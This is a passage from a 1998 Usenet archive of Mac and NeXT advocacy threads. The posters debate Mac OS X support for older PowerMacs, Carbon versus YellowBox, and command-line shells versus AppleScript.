> Apple is saying. The key word in all of this is 'support'. What will work,
> and what will be supported, are entirely different things...
>
> I'm learning this the hard way as my dad's 1400 will _support_ 64MB of
> RAM, but there seems to be no way of actually getting 64MB in there...
>
> -Bob Cassidy
>
You use two 24 megabyte modules.
If you have a video or ethernet card in the expansion area, you may find
it harder to fit the second module in.
Donald
From: xerxes@diku.dk (=?ISO-8859-1?Q?Per_Erik_R=F8nne?=)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 14 Jul 1998 07:29:34 +0100
Organization: DIKU
Message-ID: <1dc59so.j557jvamwqjjN@ip206.albnxr2.ras.tele.dk>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <rmcassid-0907981204040001@dante.eng.uci.edu> <gmgraves-1007981305540001@sf-usr1-48-176.dialup.slip.net> <rmcassid-1307981227020001@dante.eng.uci.edu> <atlauren-1307981445490001@jungleland.acs.uci.edu>
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Andrew Laurence <atlauren@uci.edu> wrote:
> >BTW, from what I understand, Win98 _refuses_ to install on any machine
> >slower than a 75MHz Pentium. So theres a little change going on in each
> >camp.
> Actually, I believe it insists on a 66Mhz processor. A colleague here
> tried to install on a 486/33, and the installer refused to run.
Well, then it will run on the Apple DOS Compatibility Card for the 6100
since this uses a 486dx 66 MHz processor [and maximum 32 of dedicated
RAM].
--
Per Erik Rønne
E-mail: xerxes@diku.dk
Homepage with pgp public key: http://www.diku.dk/students/xerxes
Remove '.edu' before e-mail [anti-spam]
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 14 Jul 1998 00:32:45 -0500
Organization: Prairie Group
Message-ID: <MPG.1014a8e367d27764989993@news.supernews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <6o721r$1log$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980713160624.6998A-100000@ux10.cso.uiuc.edu> <6oe0e0$u3k$1@piglet.cc.uic.edu> <pulsar-ya02408000R1307981954300001@news-proxy.cso.uiuc.edu>
In article <pulsar-ya02408000R1307981954300001@news-proxy.cso.uiuc.edu>,
pulsar@springnet1.com says...
> Let's try to examine the costs for getting Mac OS X to run on these
> machines.
>
> Assume that a software engineer works for 40 hours a week at $100 per
> hour.
>
> Assume 4 people work for 2 weeks working on getting Mac OS X to run on
> these machines.
>
> That's 2 * 4 * 40 * 100 = $32,000.
>
> Now assume that 8 people work for 4 weeks on quality assurance, testing,
> and debugging.
>
> That's 8 * 4 * 40 * 100 = $128,000.
>
> This is a total of $160,000.
>
> Let's assume that the figure is off by a factor of 50!
>
> 50 * $160,000 = $8,000,000.
>
You neglected to factor in payroll taxes, costs of hiring these 12 people
(you won't find the caliber of people you need by just posting a want
ad), management costs, delay on other teams as they have to bring your
new team up to speed and coordinate with the teams.
And I think your person count is unrealistic. Trying to bring a new OS
onto a half-dozen different motherboard designs (we laptop users want in
too) is not a trivial task. Maybe, maybe you could get away with the 4
people for two weeks if nothing goes wrong...but there is no spare room
for things going wrong. And if you've announced publicly "we'll be
supporting these older machines", you can't take the chance on things
going wrong.
8 people 4 weeks to test a whole operating system on a half dozen
designs? No way. Maybe they could go through enough tests to be
confident that if people do the normal things to the computers it will
all work, but that's not sufficient. There are those who put 10,000
files in one folder, there are those who run with 1% free memory, there
are those who have this one weird board nobody at Apple had ever heard
about.
And you've got all this going on WHILE Apple is being stretched to the
seams to get the current plan out, and management's job turns into a
circus act to keep all the plates spinning on the top of the poles.
With modifications, your numbers might work for an Apple without a major
project going on. To do it while also doing X would be a stretch.
Donald
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 13 Jul 1998 22:39:07 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1307982239100001@sdn-ar-001casbarp202.dialsprint.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com>
> On 07/13/98, Michael M. Eilers wrote:
> >In article <6oe13t$hm7$1@news.digifix.com>,
> >
> >> Apple isn't going to be selling off the Enterprise stuff.
> >>
> >> YB isn't going to be sold off, and it isn't dead. Not by a
> >> long shot.
> >>
> >> Geez, why do you people listen to Henry Norr?
> >
> >Scott, why the hell would we listen to you instead?
Also I believe Mr Anguish is a big time famous openstep developer :P
He also hangs with lots of other famous openstep developers :)
--
So many pedestrians, so little time.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Apple heading to obscurity?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <joe.ragosta-1307982021290001@elk49.dol.net>
Message-ID: <35aadc63.0@news.depaul.edu>
Date: 14 Jul 98 04:19:47 GMT
In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
> People seem to see the entire Carbon set of APIs as Apple knuckling under
> to current Mac programmers who don't have the time/money/interest in
> switching to YB. Whether that's true or not (and I suspect there's a grain
> of truth), that's the perception.
'Knuckling under' is the wrong way to put it. Carbon is essential, like
it or not.
The worry is that Jobs will just give up on YellowBox, and not bother
shepherding it through until Mac developers see the need for it. The
worry is that Jobs will just decide that Mac developers don't want
it *now* and project that to mean that mac developers will *never*
use it, so why not kill it?
The main issue is that Apple is inconsistent with their message on
YellowBox, and aren't showing any sign of active support for
developers who actually want to use it *now*.
--
"... and subpoenas for all." - Ken Starr
From: xerxes@diku.dk (=?ISO-8859-1?Q?Per_Erik_R=F8nne?=)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted (was: Re: OS X: Installed base of only 750,000 G3 systems?)
Date: Tue, 14 Jul 1998 07:29:37 +0100
Organization: DIKU
Message-ID: <1dc5a0z.gy73ut1b1nfl4N@ip206.albnxr2.ras.tele.dk>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost>
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taiQ <pit@iohk.SPAM-NOT.com> wrote:
> last year Apple was selling these systems as future-proofed but suddenly
> the only upgrade option remaining is just the old Mac OS 8.x line, which,
> despite being an improvement, is nowhere near the modern OS that the
> Rhapsody upgrade was touted to be for these machines.
Which only proofs that you should not replace your computer in order to
be sure it is future-safe.
Instead, use upgrade cards if its to slow. My 6100 is still running and
is upgradeable to a G3 with 240 MHz and 1 M backside cache.
Replace the computer when you have ascertained it can no longer be used
with the newest OS version - and if you _need_ this version.
And then - sell the old computer, give it away to family or use it as a
UNIX [MkLinux] box. In general, the newest computers aren't supported by
MkLinux, the old NuBus based are.
--
Per Erik Rønne
E-mail: xerxes@diku.dk
Homepage with pgp public key: http://www.diku.dk/students/xerxes
Remove '.edu' before e-mail [anti-spam]
From: xerxes@diku.dk (=?ISO-8859-1?Q?Per_Erik_R=F8nne?=)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 14 Jul 1998 07:29:41 +0100
Organization: DIKU
Message-ID: <1dc5agb.vv07kro7aybpN@ip206.albnxr2.ras.tele.dk>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <Josh.McKee-1307982004310001@pm3a3.rmac.net>
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Joshua T. McKee <Josh.McKee@cbns.com> wrote:
> I'm the owner of a PowerPC 8100/80 that was suppose to run Apple's "next
> generation" OS (at the time, Copeland). While OS 8.1 works great for me,
> I can't use my computer with the software Apple promised I could run on
> it. Is the 8100/80 to slow? Perhaps, but at the time I purchased the
> system, the "next generation" OS was "just around the corner". I have
> been thinking of replacing this system with a newer one (G3, they're at a
> really good price). However, I don't want to purchase a new computer
> thinking it will run OS X...especially when the 8100 works very well for
> what I do (IE, I don't need OS X's capabilities). I had thought about
> purchasing an 8500/233 a while ago...thinking that it would run the "next
> generation" OS from Apple. Now I'm glad I held out...that would have been
> twice!
Clever lad!
--
Per Erik Rønne
E-mail: xerxes@diku.dk
Homepage with pgp public key: http://www.diku.dk/students/xerxes
Remove '.edu' before e-mail [anti-spam]
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 14 Jul 1998 03:07:52 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oei28$672$4@lwnws01.ne.highway1.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com> <6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com> <6o5k4c$r2d$1@crib.corepower.com> <6o5n32$6q$2@news.xmission.com> <Fergus.Doherty-ya02408000R1307981548500001@news.nottingham.ac.uk> <6ods31$lh3$1@lwnws01.ne.highway1.com> <35AA7B30.30B7DF11@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
> John Kheit wrote:
> > Yes, but the greedy gusses at apple,
>
> Apparently, we haven't yet gotten to the point of actually saying
Where's the we? Whose talking to you?
> "Steve Jobs" in a post full of criticism. It's some nameless
> "greedy gusses at Apple", as if anyone but Steve Jobs could
> account for the past and current closed strategy. Ah, well, minds
> change slowly. Maybe in a few months NeXT fans could actually
I'm tickled by your attempts to analyze what and how the hell my mind
changes. Especially since I'm about as simple a simpleton as one can get,
how wrong you are is rather astounding.
> (albeit timidly) start blaming the real culprit instead of
> scapegoats like Ken Bereskin.
I'll blame who ever the heck I feel like blaming. And I blame whatever
greedy gusses are responsible for the dumb decisions. I don't know who those
are, but likely sj has some significant say in that, and for that he gets
lumped in by me. Your reading in his exclusion in my comments in this thread
is just your opinion on the matter; and in my opinion wrong.
However, I agree with you that sj should get as much blame for crap as he
does praise for good stuff. I'm not sure what product is out producing the
other though--the good or the crap.
> Meanwhile, it's become a dreadfully funny commentary on human
> nature.
Sure is Dr. Judy.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 14 Jul 1998 04:29:39 GMT
Organization: Indiana University, Bloomington
Message-ID: <6oemrj$qtk$1@flotsam.uits.indiana.edu>
References: <6noi5p$2qg$1@news.cmc.net> <bgrubb-1107981623570001@lc180.zianet.com> <6odavf$m73$1@flotsam.uits.indiana.edu> <1dc4e3m.1auf8v3e6qnr4N@rhrz-isdn3-p1.rhrz.uni-bonn.de>
In article <1dc4e3m.1auf8v3e6qnr4N@rhrz-isdn3-p1.rhrz.uni-bonn.de>,
Michael Schuerig <schuerig@acm.org> wrote:
>Gregory Loren Hansen <glhansen@copper.ucs.indiana.edu> wrote:
>
>> AppleScript can take a paragraph to do what can be done in a single line
>> of typing on a Unix system. It's considerably more verbose. In its
>> attempt to mimic natural language, it becomes harder to work with.
>
>Maybe. But, OTOH, there are probably things you can do with AppleScript
>that you can't do from a CLI or shell script. With AppleScript it is
>easy to tie together interactive applications. The point is not, though,
>if everything can in principle be done with AS or a CLI alone. Both
>types of scripting have different foci: CLI is best for batch-like
>processing, whereas AS lends itself well to use in interactive apps.
>
>There are uses for both and I want 'em both.
If we only had GNU tools for AppleScript, there would be no functional
difference between the two. Except for the verbosity of AppleScript
compared to the conciseness of sh. sh and its derivatives deal strictly
with text streams, while AppleScript can deal with data objects and
program-specific messages. So sh, because of the tools it always has
available, is more reliable and usually more flexible. But AppleScript is
a higher type of technology. I wonder if a happy marriage between the two
is possible. Maybe some new commands could be added to sh, like
%"save ""My Wonderful File""" | BBEdit
which would pipe a save command to BBEdit, rather than piping a string
that would appear on the screen as just more text. Yeah, I think I really
like that.
I don't know if % is already taken, but I could't think of anything that
uses it.
--
"Don't just do something, stand there!" - Buddha
From: handleym@ricochet.net (Maynard Handley)
Newsgroups: comp.sys.next.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Multi-threaded PowerPC
Date: Mon, 13 Jul 1998 22:21:17 -0700
Organization: Me and no-one else
Message-ID: <handleym-1307982221170001@handma.apple.com>
References: <6o3cbd$o1k@newsb.netnews.att.com> <6o50qd$30$1@news.cs.tu-berlin.de>
In article <6o50qd$30$1@news.cs.tu-berlin.de>, marcel@cs.tu-berlin.de
(Marcel Weiher) wrote:
> gupta@kcopsrm.tm.tta.moc-mirror after @ writes:
>
> >says that "This year ISSCC has a paper describing the
> >first microprocessor implementing a mainstream architecture
> >(the PowerPC) with coarse-grain multithreading. Coarse
> >grain multithreading hides the delays caused by data fetches
> >from memory by switching between 2 or more program threads."
>
> Very interesting. Corroborates a suspicion I've had for a while
> that real multitasking is necessary for virtual memory to be
> useful. After all, even a fairly low page-fault rate will
> slow a single process virtually to a halt, so system performance
> can only be maintained if there are other useful processes
> to switch to.
>
> On the other hand, if there usually is a useful process to switch
> to, virtual memory overhead can be almost completely hidden as long
> as the pages can be made available by the time the process is
> scheduled to run again.
>
> Marcel
You seem to be assuming that these chips are targetted at MacOS. In fact
they are chips from IBM Rochester's AS/400 facility and will not be sold
outside IBM. It is conceivable that one day this sort of facility will be
added to the chips purchased by Apple but obviously in light of current
MacOS limitations it makes no sense right now.
After MacOS X debuts and we learn what it reall can and can't do,
presumably Apple will be asking IBM and Moto for whatever new features
they want in the next round of PPCs.
Maynard
--
My opinion only
Date: Tue, 14 Jul 1998 06:51:36 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-1407980651360001@elk51.dol.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <joe.ragosta-1307982021290001@elk49.dol.net> <35aadc63.0@news.depaul.edu>
In article <35aadc63.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
>
> > People seem to see the entire Carbon set of APIs as Apple knuckling under
> > to current Mac programmers who don't have the time/money/interest in
> > switching to YB. Whether that's true or not (and I suspect there's a grain
> > of truth), that's the perception.
>
> 'Knuckling under' is the wrong way to put it. Carbon is essential, like
> it or not.
True. I didn't mean it in a negative sense, although the wording sure
sounds that way.
I agree. It looked like too few developers were willing to spend the time
on complete YB rewrites of their apps. Carbon _is_ essential. Sorry.
>
> The worry is that Jobs will just give up on YellowBox, and not bother
> shepherding it through until Mac developers see the need for it. The
> worry is that Jobs will just decide that Mac developers don't want
> it *now* and project that to mean that mac developers will *never*
> use it, so why not kill it?
>
> The main issue is that Apple is inconsistent with their message on
> YellowBox, and aren't showing any sign of active support for
> developers who actually want to use it *now*.
Which is basically what I said in the rest of my message. I personally
think that YB will continue, but I'd feel a lot more comfortable if Apple
labelled Carbon as a transition strategy and said that at some point in
the future (10 years or whatever), they expect that everyone will be using
YB.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 14 Jul 1998 06:49:15 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-1407980649150001@elk51.dol.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <macghod-1307982239100001@sdn-ar-001casbarp202.dialsprint.net>
In article <macghod-1307982239100001@sdn-ar-001casbarp202.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> > On 07/13/98, Michael M. Eilers wrote:
> > >In article <6oe13t$hm7$1@news.digifix.com>,
> > >
> > >> Apple isn't going to be selling off the Enterprise stuff.
> > >>
> > >> YB isn't going to be sold off, and it isn't dead. Not by a
> > >> long shot.
> > >>
> > >> Geez, why do you people listen to Henry Norr?
> > >
> > >Scott, why the hell would we listen to you instead?
>
>
> Also I believe Mr Anguish is a big time famous openstep developer :P
> He also hangs with lots of other famous openstep developers :)
Not to mention Apple.
It has already been stated in this group that Apple is quite aware of
Scott's Stepwise page and contributes either directly or indirectly.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 14 Jul 1998 06:48:19 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-1407980648200001@elk51.dol.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net>
In article <not-1307981747020001@3-86.phx.psn.net>, not@a.valid.email.add
(Michael M. Eilers) wrote:
> In article <6oe13t$hm7$1@news.digifix.com>, sanguish@digifix.com (Scott
> Anguish) wrote:
>
> > Apple isn't going to be selling off the Enterprise stuff.
> >
> > YB isn't going to be sold off, and it isn't dead. Not by a
> > long shot.
> >
> > Geez, why do you people listen to Henry Norr?
>
> Scott, why the hell would we listen to you instead? Which one of the two
> of you has a steady job getting paid to predict what Apple is going to do
> next, and do it for publication?
Well, given the kind of drivel that has been posted by people "paid to
predict what Apple is going to do" for the past few years, that's not much
of a qualification.
And Norr has never been very good. Even when he was the editor of MacWeek,
he posted some of the most biased anti-Mac FUD I've seen from any
magazine. For example, right after the 8600 and 9600 came out, he started
his "Macs are still too expensive" campaign. He compared the price of a
top of the line, fully loaded 9600 to a garage shop Pentium system and
complained that the Macs were too high. No mention of clones (which were
widely available at the time) or the lower priced Macs that still beat the
crap out of his cheap clone.
Norr has never been the place to go to for unbiased information.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 14 Jul 1998 11:01:05 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6ofdph$kp3$1@news.cs.tu-berlin.de>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <6ns8hl$a08$1@news.cmc.net> <Pine.OSF.3.92.980711035755.6516D-100000@pigeon.qut.edu.au> <6o6ud6$b37$1@news.cmc.net> <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au> <6o8ips$u1k$1@nnrp1.dejanews.com> <Pine.OSF.3.92.980712130733.16065D-100000@pigeon.qut.edu.au> <6odp9d$km4$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
quinlan@intergate.bc.ca writes:
>But if I did this then the compression would not be transparent to the user.
>Why should the user be forced to use or even see another application when the
>main program could do the work transparently? Look at the shell (another
>posted suggested this) as just another API.
Actually there's two pieces to this:
1. The shell.
2. The UNIX pipe-filter paradigm.
The second is probably the most powerful resuse mechanism invented
so far, it certainly makes reuse much, much easier than object-oriented
programming, for example. The original "component-ware", so to speak.
It is so easy, that a simple linear syntax can be used to construct
fairly complex "applications" interactively from a command-line.
However, you could just as easily connect components graphically.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 14 Jul 1998 11:04:51 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6ofe0j$l04$1@news.cs.tu-berlin.de>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <1dbual6.1dg6va4fd3yjwN@carina22.wco.com> <slrn6qamrq.ojd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <trev-1307981719020001@nas-p10.usc.net> <joe.ragosta-1307982016380001@elk49.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
joe.ragosta@dol.net (Joe Ragosta) writes:
[..removing everything for security reasons..]
>IMHO, this beats the alternative (leaving lots of security holes by
>default and requiring an expert to close them.
This is silly. You don't have to remove the binaries, you
just have to set up inetd and not run another couple of
daemons.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
Date: Tue, 14 Jul 1998 09:51:52 +0000
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Distribution: world
Subject: Re: Apple: No CLI in Mac OS X
Message-ID: <christian.bau-1407980951520001@christian-mac.isltd.insignia.com>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <6ns8hl$a08$1@news.cmc.net> <Pine.OSF.3.92.980711035755.6516D-100000@pigeon.qut.edu.au> <6o6ud6$b37$1@news.cmc.net> <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au> <bgrubb-1107981623570001@lc180.zianet.com> <6odcgk$6ah@nntp02.primenet.com>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <6odcgk$6ah@nntp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> CLI's are handy for programmers. Just this week I needed to change all
> references to our product name (a marketing requeest). On a GUI-only
> system, there might be a few ways to do it, but I don't think you can beat
> "find" followed by "sed" for simplicity. I'm not sure if you could beat
> my total elapsed time of 15 minutes.
That is why many (probably most) Macintosh programmers use MPW for some
aspects of their work. "find" and "sed" are "search" and "streamedit". You
can always make an alias, of course.
> If we are looking back at Mac CLIs, there were some compatiblity factors
> that limited their use.
>
> - No system-wide concept of Stdin and Stdout
>
> - No system-wide standard for CLI programs
>
> Most CLIs used a home-grown system of code resources and callbacks to
> implement CLI utilities. I don't believe you could use an MPW "ls"
> command in MacDOS, for instance.
MPW is the only CLI that I have ever used or that I have seen being used
on the Macintosh in almost fourteen years. There is an MPW-wide concept of
stdin and stdout, and an MPW-wide standard for CLI programs. That is
enough.
> Probably the most-used "CLIs" were the command line front-ends provided
> with C compilers. Those allowed you to do a quick port of a UNIX program,
> but didn't allow piping between programs or environment variables.
Any C program compiled as an "MPW tool" automatically supports piping and
environment variables.
Date: Tue, 14 Jul 1998 06:23:36 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-1407980623360001@elk51.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net> <trev-1307982319430001@nas-p3.usc.net>
In article <trev-1307982319430001@nas-p3.usc.net>, trev@sc.edu (Trevor
Zion Bauknight) wrote:
> In article <Josh.McKee-1307982024580001@pm3a3.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > Let me ask you this George, how do you know OS 8.x will run carbon
tuned apps?
>
> Um, because Carbon is a *subset* of the current Mac OS API? That makes
it easy.
Partly true. But I thought that some of the Carbon APIs were new or were
modified versions of the current ones. I wouldn't expect a Carbon app to
run unmodified on Mac OS 8.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 14 Jul 1998 07:52:30 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X HW support: the too slow arguement
Message-ID: <joe.ragosta-1407980752310001@wil55.dol.net>
References: <Pine.SOL.3.96.980713140746.20742A-100000@ux7.cso.uiuc.edu> <B1CFE27C-C238@206.165.43.144> <35aad934.0@news.depaul.edu>
In article <35aad934.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
> > Pulsar <tokarek@uiuc.edu> said:
>
> > >The reasons for Mac OS X not being supported on pre-G3 PCI PowerMacs do
> > >_NOT_ involve speed (or a lack of it).
> > >
>
>
>
> > I made one such argument. It is based on e-mail that a former Apple
> > engineer sent to me about 8 months ago where he asserted that the kernel
> > used in Rhapsody wasn't able to host QuickTime properly. I'm sure that he
> > didn't mean for playback, so I assume that he meant for high-end,
> > professional video creation.
>
> > In other words, Rhapsody (and presumeably the first generation of MacOS X)
> > will not be able to handle video creation well. If this was the case, you
> > would expect Apple to abandon the highe-end video market, which is exactly
> > what they have done by abandoning the 6 PCI slot market.
>
> Clue: Rhapsody kernel = Mach 2.5+; MacOS X kernel = Mach 3
>
> The high-end video market can buy expansion chassis, if they really
> need the extra slots. Or, some enterprising company can come up
> with expensive, specialized dual-function PCI cards.
>
> (Though I'm not entirely clear on why 6 slots are needed, given the
> existence of SCSI cards that can host 14 or more drives.)
Actually, I could see it for graphics professionals:
One or more fast video cards
One or more ultra2 SCSI cards
One or more fast Ethernet cards
Video capture card
And so on.
Of course, it's worse in the PC world. My PC has 4 PCI slots--all full,
while my Mac has 3, 2 of which are empty.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 14 Jul 1998 12:21:39 +0000
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <christian.bau-1407981221390001@christian-mac.isltd.insignia.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net> <trev-1307982319430001@nas-p3.usc.net> <joe.ragosta-1407980623360001@elk51.dol.net>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <joe.ragosta-1407980623360001@elk51.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <trev-1307982319430001@nas-p3.usc.net>, trev@sc.edu (Trevor
> Zion Bauknight) wrote:
>
> > In article <Josh.McKee-1307982024580001@pm3a3.rmac.net>,
> > Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> >
> > > Let me ask you this George, how do you know OS 8.x will run carbon
> tuned apps?
> >
> > Um, because Carbon is a *subset* of the current Mac OS API? That makes
> it easy.
>
